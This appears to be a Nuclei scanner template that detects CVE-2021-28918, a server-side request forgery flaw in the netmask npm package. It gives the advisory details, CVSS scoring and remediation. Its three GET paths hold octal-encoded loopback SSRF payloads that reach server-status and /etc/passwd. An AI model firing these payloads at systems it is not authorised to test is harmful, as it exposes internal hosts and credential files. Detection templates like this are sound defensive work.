id: CVE-2021-28918 info: name: Netmask NPM Package - Server-Side Request Forgery author: johnjhacking severity: critical description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts. remediation: | Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability. reference: - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md - https://github.com/advisories/GHSA-pch5-whg9-qr2r - https://nvd.nist.gov/vuln/detail/CVE-2021-28918 - https://github.com/rs/node-netmask - https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2021-28918 cwe-id: CWE-704 epss-score: 0.02788 epss-percentile: 0.89468 cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:* metadata: max-request: 3 vendor: netmask_project product: netmask framework: node.js tags: cve,cve2021,npm,netmask,ssrf,lfi http: - method: GET path: - "{{BaseURL}}/?url=http://0177.0.0.1/server-status" - "{{BaseURL}}/?host=http://0177.0.0.1/server-status" - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd" stop-at-first-match: true matchers-condition: or matchers: - type: word part: body words: - "Apache Server Status" - "Server Version" condition: and - type: regex regex: - "root:.*:0:0:" # digest: 490a0046304402205c0b5d9e5c0e6d24a316ff0c56d06853395be2621b6eaef687a9a656f24a9bb60220402d0ba64b507822771217ef43df37c6d0c7a141e7efafb981ffd420b7c48f6a:922c64590222798bb761d5b6d8e72950